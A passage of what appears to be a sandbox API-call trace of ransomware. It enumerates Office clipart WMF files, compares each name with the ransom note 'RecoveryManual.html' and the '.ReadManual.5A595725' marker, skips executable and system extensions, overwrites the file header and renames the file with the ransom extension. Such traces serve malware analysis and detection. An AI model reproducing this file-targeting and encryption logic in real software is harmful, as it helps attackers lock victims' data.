lpString1=0x6ab90a, lpString2="J0099171.WMF" | out: lpString1="J0099171.WMF") returned="J0099171.WMF" [0265.533] lstrcmpiW (lpString1="J0099171.WMF", lpString2="RecoveryManual.html") returned -1 [0265.533] StrStrIW (lpFirst="J0099171.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.533] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.533] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.533] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.533] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.533] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.534] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.534] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.534] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.534] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.534] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.534] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.534] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.534] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.534] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.534] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" [0265.534] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.ReadManual.5A595725" [0265.534] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.ReadManual.5A595725") returned 87 [0265.534] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38620301243) returned 1 [0265.534] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 0x20 [0265.534] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.535] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8754) returned 1 [0265.535] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2232, lpName=0x0) returned 0x184 [0265.535] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.535] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.535] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.537] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.537] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2232) returned 0x2f0000 [0265.537] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.537] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38620625233) returned 1 [0265.538] CloseHandle (hObject=0x184) returned 1 [0265.538] SetSecurityInfo () returned 0x57 [0265.538] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.538] CloseHandle (hObject=0x194) returned 1 [0265.538] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe392, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099172.WMF", cAlternateFileName="")) returned 1 [0265.538] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099172.WMF" | out: lpString1="J0099172.WMF") returned="J0099172.WMF" [0265.538] lstrcmpiW (lpString1="J0099172.WMF", lpString2="RecoveryManual.html") returned -1 [0265.538] StrStrIW (lpFirst="J0099172.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.538] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.538] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.538] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.538] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.538] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.538] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.538] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.538] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.538] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.538] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.538] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.538] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.538] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.538] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.538] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" [0265.538] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.ReadManual.5A595725" [0265.538] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.ReadManual.5A595725") returned 87 [0265.538] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38620718809) returned 1 [0265.538] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 0x20 [0265.539] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.540] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=58258) returned 1 [0265.540] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe392, lpName=0x0) returned 0x184 [0265.540] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.541] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.541] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.543] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.543] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe392) returned 0x2f0000 [0265.545] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.545] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38621377538) returned 1 [0265.545] CloseHandle (hObject=0x184) returned 1 [0265.545] SetSecurityInfo () returned 0x57 [0265.545] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.545] CloseHandle (hObject=0x194) returned 1 [0265.545] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9114, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099173.WMF", cAlternateFileName="")) returned 1 [0265.545] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099173.WMF" | out: lpString1="J0099173.WMF") returned="J0099173.WMF" [0265.545] lstrcmpiW (lpString1="J0099173.WMF", lpString2="RecoveryManual.html") returned -1 [0265.545] StrStrIW (lpFirst="J0099173.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.545] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.545] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.546] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.546] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.546] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.546] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.546] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.546] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.546] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.546] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.546] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.546] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.546] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.546] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.546] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" [0265.546] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.ReadManual.5A595725" [0265.546] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.ReadManual.5A595725") returned 87 [0265.546] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38621477617) returned 1 [0265.546] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 0x20 [0265.546] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.546] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=37140) returned 1 [0265.546] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9114, lpName=0x0) returned 0x184 [0265.547] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.547] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.547] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.549] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.549] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9114) returned 0x2f0000 [0265.551] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.551] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38621959857) returned 1 [0265.551] CloseHandle (hObject=0x184) returned 1 [0265.551] SetSecurityInfo () returned 0x57 [0265.551] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.551] CloseHandle (hObject=0x194) returned 1 [0265.551] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1846, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099174.WMF", cAlternateFileName="")) returned 1 [0265.551] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099174.WMF" | out: lpString1="J0099174.WMF") returned="J0099174.WMF" [0265.551] lstrcmpiW (lpString1="J0099174.WMF", lpString2="RecoveryManual.html") returned -1 [0265.551] StrStrIW (lpFirst="J0099174.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.551] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.551] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.551] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.551] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.551] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.551] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.551] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.551] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.552] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.552] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.552] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.552] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.552] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.552] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.552] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" [0265.552] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.ReadManual.5A595725" [0265.552] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.ReadManual.5A595725") returned 87 [0265.552] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38622054721) returned 1 [0265.552] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 0x20 [0265.552] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.552] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6214) returned 1 [0265.552] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1846, lpName=0x0) returned 0x184 [0265.552] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.553] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.553] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.555] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.555] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1846) returned 0x2f0000 [0265.555] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.555] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38622380592) returned 1 [0265.555] CloseHandle (hObject=0x184) returned 1 [0265.555] SetSecurityInfo () returned 0x57 [0265.555] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.555] CloseHandle (hObject=0x194) returned 1 [0265.555] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2610, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099175.WMF", cAlternateFileName="")) returned 1 [0265.555] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099175.WMF" | out: lpString1="J0099175.WMF") returned="J0099175.WMF" [0265.555] lstrcmpiW (lpString1="J0099175.WMF", lpString2="RecoveryManual.html") returned -1 [0265.555] StrStrIW (lpFirst="J0099175.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.555] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.556] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.556] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.556] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.556] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.556] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.556] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.556] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.556] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.556] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.556] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.556] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.556] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.556] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.556] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" [0265.556] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.ReadManual.5A595725" [0265.556] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.ReadManual.5A595725") returned 87 [0265.556] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38622476119) returned 1 [0265.556] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) returned 0x20 [0265.557] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.557] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9744) returned 1 [0265.557] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2610, lpName=0x0) returned 0x184 [0265.557] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.558] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.558] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.559] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.560] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2610) returned 0x2f0000 [0265.560] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.560] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38622866541) returned 1 [0265.560] CloseHandle (hObject=0x184) returned 1 [0265.560] SetSecurityInfo () returned 0x57 [0265.560] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.560] CloseHandle (hObject=0x194) returned 1 [0265.560] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099176.WMF", cAlternateFileName="")) returned 1 [0265.560] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099176.WMF" | out: lpString1="J0099176.WMF") returned="J0099176.WMF" [0265.560] lstrcmpiW (lpString1="J0099176.WMF", lpString2="RecoveryManual.html") returned -1 [0265.560] StrStrIW (lpFirst="J0099176.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.560] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.560] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.560] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.560] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.560] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.560] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.561] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.561] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.561] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.561] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.561] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.561] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.561] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.561] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.561] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" [0265.561] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.ReadManual.5A595725") 